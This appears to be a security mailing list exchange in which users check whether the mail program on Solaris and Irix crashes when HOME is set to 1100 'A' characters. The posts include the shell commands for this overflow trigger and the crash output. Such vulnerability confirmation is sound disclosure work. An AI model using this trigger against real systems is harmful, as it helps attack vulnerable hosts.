Solaris 8/Sparc actually appears to be vulnerable.
SunOS lager 5.8 Generic_108528-01 sun4u sparc SUNW,Ultra-1 with the same
signature as 5.7 below
Irix 6.5 doesn't appear to be....
bash-2.04$ HOME=`perl -e 'print "A"x1100'`
bash-2.04$ export HOME
bash-2.04$ mail a [CTL-C]
a... User unknown
bash-2.04$ uname -a
IRIX64 vermeer 6.5 10181058 IP19
bash-2.04$ mail pfinch [CTL-C]
bash-2.04$
Gunnar Wolf wrote:
> > Solaris/sparc appears not vulnerable. Maybe its an x86 bug only
>
> Solaris 7/Sparc is vulnerable:
>
> [gwolf@sun gwolf]$ uname -a
> SunOS sun.mydomain.org 5.7 Generic_106541-16 sun4u sparc SUNW,Ultra-5_10
> [gwolf@sun gwolf]$ HOME=`perl -e 'print "A"x1100'` ; export HOME
> [gwolf@sun gwolf]$ mail a
> ^Cmail: ERROR signal 10
> mail: ERROR signal 10
> mail: ERROR signal 10
> mail: ERROR signal 10
> mail: ERROR signal 10
> (...)
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> Desarrollo y Admon. de Sistemas en Red - FES Iztacala - UNAM
> Departamento de Seguridad en Computo - DGSCA - UNAM
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